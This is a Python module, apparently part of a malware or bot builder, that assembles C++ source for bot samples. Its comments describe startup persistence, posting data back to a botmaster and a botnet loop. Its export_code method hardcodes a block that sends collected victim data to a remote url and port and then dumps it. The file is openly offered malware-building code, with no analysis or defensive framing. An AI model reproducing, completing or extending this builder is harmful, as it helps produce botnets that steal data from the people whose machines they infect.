import MalwareFeatures
import os

class SourceCode:
    'Class for source code'

    def __init__(self):
        # self.id = generateBotID()
        # list of features that have been added to the sample
        self.features = []
        # list of imports this program will use
        self.imports = []
        # list of function declarations
        self.func_decls = []
        # list of function definitions
        self.func_defs = []
        # list of global variable strings
        self.global_vars = []
        # lines that go at the top of main, conditional check type stuff
        self.main_1 = []
        # lines that go at the top of main but not as important
        # add as startup proc would go here for example
        self.main_2 = []
        # lines that post data back to the botmaster on execute will go here
        self.main_3 = []
        # lines that go in the 'body' of main, botnet loop will go herer
        self.main_4 = []
        # lines that go at the end of main, used for cleaning up threads...
        self.main_5 = []

    # adds a function declaration
    # declarationa - a function declaration
    def add_imports(self, imports):
        # its a list so add each line independently
        if isinstance(imports, list):
            for line in imports:
                self.imports.append(line)
        # its just a single line so add it
        else:
            self.imports.append(imports)

    # adds a function declaration
    # declarationa - a function declaration
    def add_func_declaration(self, declaration):
        # its a list so add each line independently
        if isinstance(declaration, list):
            for line in declaration:
                self.func_decls.append(line)
        # its just a single line so add it
        else:
            self.func_decls.append(declaration)

    # # adds a function declaration
    # # declarationa - a function declaration
    # def add_func_declaration(self, declaration, definition):
    #     # its a list so add each line independently
    #     # if isinstance(declaration, list):
    #     #     for line in declaration:
    #     #         self.func_decls.append(line)
    #     # # its just a single line so add it
    #     # else:
    #     if declaration not in self.func_decls:
    #         self.func_decls.append(declaration)
    #         # its a list so add each line independently
    #         if isinstance(definition, list):
    #             for line in definition:
    #                 self.func_defs.append(line)
    #         # its just a single line so add it
    #         else:
    #             self.func_defs.append(definition)

    # adds a function definition
    # definitions - a function's source code
    def add_func_definition(self, definition):
        # its a list[func][funclines]
        # iterate over each function in this feature
        function = []
        for func in definition:
            self.func_defs.append(func)

    # adds a global variable to the source code
    def add_global_variable(self, g_var):
        # its a list so add each line independently
        if isinstance(g_var, list):
            for line in g_var:
                self.global_vars.append(line)
        # its just a single line so add it
        else:
            self.global_vars.append(g_var)

    # adds code for a conditional check to main_1
    # main - lines of code that need to go at the very top of main
    def add_cond_check_to_main(self, main):
        # its a list so add each line independently
        if isinstance(main, list):
            for line in main:
                self.main_1.append(line)
        # its just a single line so add it
        else:
            self.main_1.append(main)

    # adds code for sample 'options', start-up proc for example
    # main - lines of code that need to go at the top of main but not as important
    def add_option_to_main(self, main):
        # its a list so add each line independently
        if isinstance(main, list):
            for line in main:
                self.main_2.append(line)
        # its just a single line so add it
        else:
            self.main_2.append(main)

    # adds code to main that needs to run on execution
    # main - lines of code for forced bot actions would go here
    def add_to_main(self, main):
        # its a list so add each line independently
        if isinstance(main, list):
            for line in main:
                self.main_3.append(line)
        # its just a single line so add it
        else:
            self.main_3.append(main)

    # adds code to main for the botnet loop
    # main - lines of code that go in the 'body' of main
    def add_botnet_to_main(self, main):
        # its a list so add each line independently
        if isinstance(main, list):
            for line in main:
                self.main_4.append(line)
        # its just a single line so add it
        else:
            self.main_4.append(main)

    # adds code to the very end of main, cleaning up threads...
    # main - lines of code that go at the end of main
    def add_to_end_of_main(self, main):
        # its a list so add each line independently
        if isinstance(main, list):
            for line in main:
                self.main_5.append(line)
        # its just a single line so add it
        else:
            self.main_5.append(main)

    def remove_duplicates(self, seq):
        # not order preserving
        set = {}
        map(set.__setitem__, seq, [])
        return set.keys()

    def remove_duplicates2(self, seq):
        # not order preserving
        return list(set(seq))

    def remove_duplicate_functions(self, functions, function_defs):
        i = 0
        while i < len(functions):
            j = i + 1
            while j < len(functions):
                if functions[i] == functions[j]:
                    del functions[j]
                    del function_defs[j]
                else:
                    j = j + 1
            i = i + 1

    # prepares a source code for a .cpp file for compiling
    def export_code(self, filename):
        source_file = open(filename, 'w')

        # write imports to file
        # source_file.write('#include <iostream>\n')
        #self.imports = self.remove_duplicates(self.imports)
        self.imports = self.remove_duplicates2(self.imports)
        for i in self.imports:
            source_file.write(i + '\n')
        source_file.write('\n')

        # write function headers to file
        # self.func_decls = self.remove_duplicates(self.func_decls)
        self.remove_duplicate_functions(self.func_decls, self.func_defs)
        for d in self.func_decls:
            source_file.write(d + '\n')
        source_file.write('\n')

        # write global variable declarations to file
        # self.global_vars = self.remove_duplicates(self.global_vars)
        self.global_vars = self.remove_duplicates2(self.global_vars)
        for v in self.global_vars:
            source_file.write(v + '\n')
        source_file.write('\n')

        # specify the std namespace
        source_file.write("using namespace std;\n\n")

        # write the main function to file
        source_file.write('int main(){\n')
        for m in self.main_1:
            source_file.write(m + '\n')
        for m in self.main_2:
            source_file.write(m + '\n')
        for m in self.main_3:
            source_file.write(m + '\n')

        # do this right after all 'execute' actions have finished
        source_file.write('\n#ifdef EXECUTE\n')
        source_file.write('sendP_Request(url, port, "/database/api/handler/", requestQueue, dc.getPostData());\n')
        source_file.write('dc.dumpCollectedData();\n')
        source_file.write('#endif\n')

        for m in self.main_4:
            source_file.write(m + '\n')

        # lines of code that should run right before closing
        for m in self.main_5:
            source_file.write(m + '\n')

        # close main()
        source_file.write('}\n\n')

        # write function definitions to file
        for f in self.func_defs:
            for d in f:
                source_file.write(d + '\n')
        source_file.close()

    # clears all variables arrays for the next build
    def clearState(self):
        if len(self.imports) > 0:
            del self.imports[:]
        if len(self.func_decls) > 0:
            del self.func_decls[:]
        if len(self.func_defs) > 0:
            del self.func_defs[:]
        if len(self.global_vars) > 0:
            del self.global_vars[:]
        if len(self.main_1) > 0:
            del self.main_1[:]
        if len(self.main_2) > 0:
            del self.main_2[:]
        if len(self.main_3) > 0:
            del self.main_3[:]
        if len(self.main_4) > 0:
            del self.main_4[:]
